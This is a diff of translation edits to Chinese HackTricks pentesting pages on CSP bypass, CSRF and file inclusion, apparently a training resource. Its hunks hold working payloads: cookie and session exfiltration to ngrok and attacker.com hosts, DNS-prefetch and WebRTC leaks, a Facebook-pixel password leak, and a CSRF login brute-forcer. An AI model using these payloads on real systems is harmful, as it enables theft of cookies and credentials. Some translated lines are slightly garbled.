@ -255,15 +255,15 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
{{[].erase.call().alert('xss')}}
</div>
```
Angular XSS来自类名:
Angular XSS类名:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### 滥用谷歌 recaptcha JS 代码
#### 滥用谷歌 reCAPTCHA JS 代码
根据 [**这篇 CTF 文章**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves)可以在 CSP 内部滥用 [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) 来执行任意 JS 代码,从而绕过 CSP
根据 [**这篇 CTF 文章**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves)可以在 CSP 内部滥用 [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) 来执行任意 JS 代码,从而绕过 CSP
```html
<div
ng-controller="CarouselController as c"
@ -274,7 +274,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
更多 [**来自此文档的有效载荷**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
更多[**来自此文档的有效载荷**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
@ -297,13 +297,13 @@ https://www.google.com/amp/s/example.com/
```
滥用 \*.google.com/script.google.com
可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。就像在[这份报告中](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)所做的那样。
可以滥用 Google Apps Script 在 script.google.com 内的页面接收信息。就像在 [这份报告中](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) 所做的那样。
### 第三方端点 + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
像这样的场景,其中 `script-src` 设置为 `self`一个特定的白名单域,可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法,这使得攻击者能够执行 XSS工作有效载荷
场景如 `script-src` 设置为 `self` 和特定的白名单域,可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法,这使得攻击者能够执行 XSS工作有效载荷
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -323,14 +323,14 @@ https://www.youtube.com/oembed?callback=alert;
| 实体 | 允许的域名 | 能力 |
| ----------------- | ------------------------------------------ | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
| Facebook | www.facebook.com, \*.facebook.com | 提取 |
| Hotjar | \*.hotjar.com, ask.hotjar.io | 提取 |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | 执行 |
| Amazon CloudFront | \*.cloudfront.net | 提取, 执行 |
| Amazon AWS | \*.amazonaws.com | 提取, 执行 |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | 提取, 执行 |
| Salesforce Heroku | \*.herokuapp.com | 提取, 执行 |
| Google Firebase | \*.firebaseapp.com | 提取, 执行 |
如果您在目标的CSP中发现任何允许的域名您可能能够通过在第三方服务上注册来绕过CSP并将数据提取到该服务或执行代码。
@ -346,9 +346,9 @@ Content-Security-Policy: connect-src www.facebook.com;
1. 在此处创建一个 Facebook 开发者帐户。
2. 创建一个新的“Facebook 登录”应用并选择“网站”。
3. 转到“设置 -> 基本”,获取您的“应用 ID”
3. 转到“设置 -> 基本”,获取您的“应用 ID”
4. 在您想要提取数据的目标网站中您可以通过“customEvent”和数据负载直接使用 Facebook SDK 小工具“fbq”来提取数据。
5. 转到您的应用“事件管理器”,选择您创建的应用(请注意,事件管理器可以在类似于此的 URL 中找到https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
5. 转到您的应用“事件管理器”,选择您创建的应用(请注意,事件管理器可以在类似于此的 URL 中找到https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. 选择“测试事件”选项卡,以查看“您的”网站发送的事件。
然后,在受害者一侧,您执行以下代码以初始化 Facebook 跟踪像素,指向攻击者的 Facebook 开发者帐户应用 ID并发出如下自定义事件
@ -358,11 +358,11 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
关于前表中指定的其他七个第三方域名,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。
关于前表中指定的其他七个第三方域名,还有许多其他方法可以滥用它们。请参考之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) 以获取有关其他第三方滥用的更多解释
### 通过 RPO相对路径覆盖绕过 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
除了前面提到的重定向以绕过路径限制还有一种称为相对路径覆盖RPO的技术可以在某些服务器上使用。
除了上述重定向以绕过路径限制外还有一种称为相对路径覆盖RPO的技术可以在某些服务器上使用。
例如,如果 CSP 允许路径 `https://example.com/scripts/react/`,则可以通过以下方式绕过:
```html
@ -372,7 +372,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
这之所以有效,是因为对于浏览器来说,您正在加载一个名为 `..%2fangular%2fangular.js` 的文件,该文件位于 `https://example.com/scripts/react/` 下,这符合 CSP。
∑,它们将解码它,有效地请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`
∑,它们将解码,实际上请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`
通过 **利用浏览器和服务器之间 URL 解释的不一致性,可以绕过路径规则**
@ -386,25 +386,25 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### 缺 **base-uri**
### 缺 **base-uri**
如果缺少 **base-uri** 指令,您可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/)。
此外,如果 **页面使用相对路径加载脚本**(如 `<script src="/js/app.js">`)并使用 **Nonce**,您可以利用 **base** **标签** 使其 **从您自己的服务器加载** 脚本,从而实现 **XSS**。\
如果易受攻击的页面是通过 **httpS** 加载的,请在 base 中使用 httpS URL。
此外,如果 **页面使用相对路径加载脚本**(如 `<script src="/js/app.js">`)并使用 **Nonce**,您可以利用 **base** **标签** 使其 **从您自己的服务器加载** 脚本,从而实现 XSS。\
如果易受攻击的页面使用 **httpS** 加载,请在 base 中使用 httpS URL。
```html
<base href="https://www.attacker.com/">
```
### AngularJS 事件
种特定的策略称为内容安全策略CSP可能会限制 JavaScript 事件。然而AngularJS 引入了自定义事件作为替代。在事件中AngularJS 提供了一个独特的对象 `$event`,引用原生浏览器事件对象。这个 `$event` 对象可以被利用来规避 CSP。值得注意的是在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,包含一个对象数组,涉及事件的执行链,`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
个特定的政策称为内容安全政策 (CSP) 可能会限制 JavaScript 事件。然而AngularJS 引入了自定义事件作为替代。在事件中AngularJS 提供了一个独特的对象 `$event`,引用原生浏览器事件对象。这个 `$event` 对象可以被利用来规避 CSP。值得注意的是在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,包含一个对象数组,涉及事件的执行链,`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发`alert()` 这样的全局函数。下面的代码片段阐明了这个过程:
通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发一个全局函数,如 `alert()`。下面的代码片段阐明了这个过程:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
这个代码片段突出了使用 `ng-focus` 指令触发事件,使用 `$event.path|orderBy` 来操纵 `path` 数组,并利用 `window` 对象执行 `alert()` 函数,从而揭示 `document.cookie`
这个代码片段突出了使用 `ng-focus` 指令触发事件,利用 `$event.path|orderBy` 操作 `path` 数组,并利用 `window` 对象执行 `alert()` 函数,从而揭示 `document.cookie`
**在** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **中查找其他 Angular 绕过方法**
@ -446,25 +446,25 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
</body>
</html>
```
如果CSP设置为`https://www.google.com/a/b/c/d`,由于路径被考虑,`/test`和`/a/test`脚本将被CSP阻止。
如果 CSP 设置为 `https://www.google.com/a/b/c/d`,由于路径被考虑,`/test` `/a/test` 脚本将被 CSP 阻止。
然而,最终的`http://localhost:5555/301`将会**在服务器端重定向到`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**。由于这是一个重定向,**路径不被考虑**,因此**脚本可以被加载**,从而绕过路径限制。
然而,最终的 `http://localhost:5555/301` 将在服务器端 **重定向到 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**。由于这是一个重定向,**路径不被考虑**,因此 **脚本可以被加载**,从而绕过路径限制。
通过这重定向,即使路径完全指定,仍然会被绕过。
通过这重定向,即使路径完全指定,仍然会被绕过。
因此最佳解决方案是确保网站没有任何开放重定向漏洞并且CSP规则中没有可以被利用的域
因此,最佳解决方案是确保网站没有任何开放重定向漏洞,并且 CSP 规则中没有可以被利用的域。
### 通过悬挂标记绕过CSP
### 通过悬挂标记绕过 CSP
阅读[如何做到这一点](../dangling-markup-html-scriptless-injection/)。
阅读 [如何这里](../dangling-markup-html-scriptless-injection/)。
### 'unsafe-inline'; img-src \*; 通过XSS
### 'unsafe-inline'; img-src \*; 通过 XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` 意味着您可以在代码中执行任何脚本XSS 可以执行代码),而 `img-src *` 意味着您可以在网页中使用来自任何资源的任何图像。
您可以通过图像泄露数据来绕过此 CSP在这种情况下XSS 滥用一个 CSRF其中一个可机器人访问的页面包含 SQLi并通过图像提取标志
您可以通过图像泄露数据来绕过此 CSP在这种情况下XSS 滥用一个 CSRF其中一个可机器人访问的页面包含 SQLi并通过图像提取标志
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
@ -472,21 +472,21 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
您还可以利用此配置来**加载插入在图像中的javascript代码**。例如如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像****上传**到Twitter并利用“**unsafe-inline**”来**执行**JS代码作为常规XSS该代码将**加载**该**图像****提取**其中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### With Service Workers
### 使用服务工作者
Service workers **`importScripts`** 函数不受CSP限制
服务工作者的**`importScripts`**函数不受CSP限制
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}
### Policy Injection
### 策略注入
**研究:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
如果您发送的**参数**被**粘贴在** **策的声明**中,那么您可以以某种方式**更改**该**策**,使其**无效**。您可以使用以下任何绕过方法**允许脚本 'unsafe-inline'**
如果您发送的**参数**被**粘贴在** **的声明**中,那么您可以以某种方式**更改**该**策**,使其**无效**。您可以使用以下任何绕过方法**允许脚本 'unsafe-inline'**
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -502,7 +502,7 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
### img-src \*; 通过 XSS (iframe) - 时间攻击
注意缺少指令 `'unsafe-inline'`\
这次你可以让受害者通过 **XSS** 使用一个 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面**CSRF**。你无法访问页面的内容,但如果你能**控制页面加载所需的时间**,你就可以提取所需的信息。
这次你可以让受害者通过 **XSS** 使用 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容,但如果你能**控制页面加载所需的时间**,你就可以提取所需的信息。
这次将提取一个**标志**,每当通过 SQLi **正确猜测一个字符**时,**响应**由于 sleep 函数会**花费更多时间**。然后,你将能够提取标志:
```html
@ -564,15 +564,15 @@ console.log(prefix);
run();
</script>
```
### 通过书签小工具
### 通过书签小程序
此攻击将涉及一些社会工程学,攻击者**说服用户将链接拖放到浏览器的书签小工具上**。此书签小工具将包含**恶意的javascript**代码,当拖放或点击时,将在当前网页窗口的上下文中执行,**绕过CSP并允许窃取敏感信息**例如cookies或tokens。
此攻击将涉及一些社会工程学,攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码,当被拖放或点击时,将在当前网页窗口的上下文中执行,**绕过CSP并允许窃取敏感信息**例如cookies或tokens。
有关更多信息,请[**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
### 通过限制CSP绕过CSP
在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,CSP通过在允许的iframe中注入更严格的CSP来绕过该CSP不允许加载特定的JS文件然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本加载任意脚本**。
在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,通过在允许的iframe内注入更严格的CSP来绕过CSP该CSP禁止加载特定的JS文件然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本加载任意脚本**。
您可以使用**`csp`**属性**限制iframe的CSP**
@ -583,7 +583,7 @@ run();
{% endcode %}
在[**这个CTF写作**](https://github.com/aszx87410/ctf-writeups/issues/48)中,通过**HTML注入**可以**进一步限制**一个**CSP**从而禁用防止CSTI的脚本因此**漏洞变得可利用。**\
可以使用**HTML元标签**使CSP变得更加严格,并且可以通过**移除**允许其**nonce**的**入口**来禁用内联脚本并通过sha**启用特定的内联脚本**
可以使用**HTML元标签**使CSP更加严格并且可以通过**移除**允许其**nonce**的**入口**来禁用内联脚本并通过sha**启用特定的内联脚本**
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
@ -603,7 +603,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
### 通过CSP和Iframe泄露信息
* 创建一个指向一个URL的`iframe`(我们称之为`https://example.redirect.com`该URL被CSP允许。
* 该URL随后重定向到一个秘密URL例如`https://usersecret.example2.com`该URL **不被** CSP允许
* 该URL随后重定向到一个秘密URL例如`https://usersecret.example2.com`该URL在CSP中**不被允许**
* 通过监听`securitypolicyviolation`事件,可以捕获`blockedURI`属性。该属性揭示了被阻止的URI的域名从而泄露了初始URL重定向的秘密域名。
有趣的是像Chrome和Firefox这样的浏览器在处理与CSP相关的iframes时表现不同可能导致由于未定义行为而泄露敏感信息。
@ -618,7 +618,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
来自[**这里**](https://ctftime.org/writeup/29310)的技巧。
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -635,13 +635,13 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
## 绕过CSP的危险技术
### 参数过多时的PHP错误
### 参数过多时的PHP错误
根据[**这个视频中评论的最后一个技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)发送过多参数1001个GET参数尽管你也可以使用POST参数和超过20个文件。任何在PHP网页代码中定义的**`header()`**都**不会被发送**,因为这将触发错误。
根据[**这个视频中最后提到的技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)发送过多参数1001个GET参数尽管你也可以使用POST参数和超过20个文件。任何在PHP网页代码中定义的**`header()`**都**不会被发送**,因为这将触发错误。
### PHP响应缓冲区溢出
PHP以默认方式**缓冲响应到4096**字节。因此如果PHP显示警告通过提供**足够的数据在警告中****响应**将在**CSP头**之前**发送**,导致头被忽略。\
PHP以默认方式**将响应缓冲到4096**字节。因此如果PHP显示警告通过提供**足够的数据在警告中****响应**将在**CSP头**之前**发送**,导致头被忽略。\
然后,这个技术基本上是**用警告填充响应缓冲区**以便CSP头不被发送。
来自[**这个写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)的想法。
@ -657,7 +657,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME是一种利用XSS或高度限制的XSS**在页面的一个端点**中**滥用****同一来源的其他端点**的技术。这是通过从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到您想要滥用的同一来源的真实端点来实现的。这样,**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问**要滥用的**真实端点的DOM**。有关更多信息,请查看:
SOME是一种利用XSS或高度限制的XSS**在页面的一个端点**中**滥用** **同一来源的其他端点**的技术。这是通过从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到您想要滥用的同一来源的真实端点来实现的。这样,**易受攻击的端点**可以在**有效载荷**中使用**`opener`**对象来**访问** **要滥用的真实端点的DOM**。有关更多信息,请查看:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
@ -665,12 +665,12 @@ SOME是一种利用XSS或高度限制的XSS**在页面的一个端点**中
此外,**wordpress**在`/wp-json/wp/v2/users/1?_jsonp=data`中有一个**JSONP**端点,该端点将**反射**输出中发送的**数据**(仅限字母、数字和点的限制)。
攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中,请注意这个**脚本**将被**加载**,因为它是**被'self'允许的**。此外由于安装了WordPress攻击者可能通过**易受攻击的****回调**端点滥用**SOME攻击**,该端点**绕过CSP**以给予用户更多权限,安装新插件...\
攻击者可以利用该端点**生成针对WordPress的SOME攻击**并将其嵌入`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`中,请注意这个**脚本**将被**加载**,因为它是**被'self'允许的**。此外由于安装了WordPress攻击者可能通过**易受攻击的** **回调**端点滥用**SOME攻击**,该端点**绕过CSP**以给予用户更多权限,安装新插件...\
有关如何执行此攻击的更多信息,请查看[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
如果存在严格的CSP不允许您**与外部服务器交互**始终可以做一些事情来提取信息。
如果存在严格的CSP不允许您**与外部服务器交互**始终可以做一些事情来提取信息。
### Location
@ -690,7 +690,7 @@ document.location = "https://attacker.com/?" + sessionid;
为了更快地加载页面浏览器将预先解析主机名为IP地址并将其缓存以供后续使用。\
您可以通过以下方式指示浏览器预解析主机名:`<link rel="dns-prefetch" href="something.com">`
您可以利用这种行为来**通过DNS请求泄敏感信息**
您可以利用这种行为来**通过DNS请求泄敏感信息**
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
@ -715,7 +715,7 @@ X-DNS-Prefetch-Control: off
在几个页面上你可以看到**WebRTC不检查CSP的`connect-src`策略**。
实际上你可以通过一个_DNS请求_来_泄露_信息。看这段代码:
实际上你可以通过一个_DNS请求_来_泄露_信息。看这段代码:
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
@ -752,7 +752,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -765,7 +765,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶黑客合作!
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶黑客合作!
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -9,13 +9,13 @@
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -28,7 +28,7 @@
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy)与顶尖黑客开始合作
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy)今天就开始与顶级黑客合作吧
## 跨站请求伪造 (CSRF) 解释
@ -39,12 +39,12 @@
要利用 CSRF 漏洞,必须满足几个条件:
1. **识别有价值的操作**:攻击者需要找到一个值得利用的操作,例如更改用户的密码、电子邮件或提升权限。
2. **会话管理**:用户的会话应仅通过 cookies 或 HTTP 基本认证头进行管理,因为其他头无法用于此目的。
2. **会话管理**:用户的会话应仅通过 cookies 或 HTTP Basic Authentication 头进行管理,因为其他头无法用于此目的。
3. **缺乏不可预测的参数**:请求中不应包含不可预测的参数,因为它们可能会阻止攻击。
### 快速检查
您可以在 Burp 中**捕获请求**并检查 CSRF 保护,您可以从浏览器点击 **复制为 fetch** 并检查请求:
您可以在 Burp 中**捕获请求**并检查 CSRF 保护,您可以从浏览器点击 **复制为 fetch** 并检查请求:
<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -67,7 +67,7 @@
### 从 POST 到 GET
也许您想要利用的表单准备发送 **带有 CSRF 令牌的 POST 请求,但**,您应该 **检查** 如果 **GET** 也是 **有效的**,并且当您发送 GET 请求时 **CSRF 令牌仍在被验证**
也许您想要利用的表单准备发送带有 CSRF 令牌的 **POST 请求,但**,您应该 **检查** 如果 **GET** 也是 **有效的**,并且当您发送 GET 请求时 **CSRF 令牌仍在被验证**
### 缺少令牌
@ -75,7 +75,7 @@
### CSRF 令牌未与用户会话绑定
未将 CSRF 令牌与用户会话绑定的应用程序存在重大 **安全风险**。这些系统验证令牌是针对 **全局池** 而不是确保每个令牌与发起会话绑定。
未将 CSRF 令牌与用户会话绑定的应用程序存在重大 **安全风险**。这些系统会将令牌与 **全局池** 进行验证,而不是确保每个令牌与发起会话绑定。
攻击者如何利用这一点:
@ -106,7 +106,7 @@
应用程序可能通过在 cookie 和请求参数中复制令牌,或通过设置 CSRF cookie 并验证后端发送的令牌是否与 cookie 中的值相对应来实现 CSRF 保护。应用程序通过检查请求参数中的令牌是否与 cookie 中的值一致来验证请求。
然而,如果网站存在缺陷,允许攻击者在受害者的浏览器中设置 CSRF cookie例如 CRLF 漏洞,则此方法容易受到 CSRF 攻击。攻击者可以通过加载一个欺骗性图像来设置 cookie然后发起 CSRF 攻击。
然而,如果网站存在漏洞,允许攻击者在受害者的浏览器中设置 CSRF cookie例如 CRLF 漏洞,则此方法容易受到 CSRF 攻击。攻击者可以通过加载一个欺骗性图像来设置 cookie然后发起 CSRF 攻击。
以下是攻击可能的结构示例:
```html
@ -125,7 +125,7 @@
```
{% hint style="info" %}
注意,如果**csrf token与会话cookie相关这个攻击将无效**,因为你需要设置受害者的会话,因此你实际上是在攻击自己。
注意,如果**csrf token与会话cookie相关这个攻击将不起作用**,因为你需要设置受害者的会话,因此你实际上是在攻击自己。
{% endhint %}
### Content-Type 更改
@ -204,7 +204,7 @@ document.forms[0].submit();
### **提取 CSRF 令牌**
如果 **CSRF 令牌** 被用作 **防御**,你可以尝试 **利用** [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) 漏洞或 [**悬挂标记**](dangling-markup-html-scriptless-injection/) 漏洞**提取它**
如果 **CSRF 令牌** 被用作 **防御**,你可以尝试 **提取它**,利用 [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) 漏洞或 [**悬挂标记**](dangling-markup-html-scriptless-injection/) 漏洞。
### **使用 HTML 标签的 GET**
```xml
@ -526,7 +526,7 @@ room: username
```
## CSRF 登录暴力破解
该代码可用于通过 CSRF 令牌对登录表单进行暴力破解(它还使用了 X-Forwarded-For 头尝试绕过可能的 IP 黑名单):
该代码可用于通过 CSRF 令牌对登录表单进行暴力破解(它还使用了 X-Forwarded-For 头尝试绕过可能的 IP 黑名单):
```python
import request
import re
@ -584,11 +584,11 @@ login(USER, line.strip())
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客洞察**\
**黑客见解**\
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
@ -608,7 +608,7 @@ login(USER, line.strip())
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>

View file

@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -28,14 +28,14 @@
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作!
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作!
## 文件包含
**远程文件包含 (RFI)** 文件从远程服务器加载(最佳:您可以编写代码,服务器将执行它)。在 php 中,这个功能默认是 **禁用** 的 (**allow\_url\_include**)。\
**远程文件包含 (RFI)** 文件从远程服务器加载(最佳:您可以编写代码,服务器将执行它)。在 php 中,这默认是 **禁用** 的 (**allow\_url\_include**)。\
**本地文件包含 (LFI)** 服务器加载本地文件。
当用户以某种方式控制将服务器加载的文件时,就会发生此漏洞。
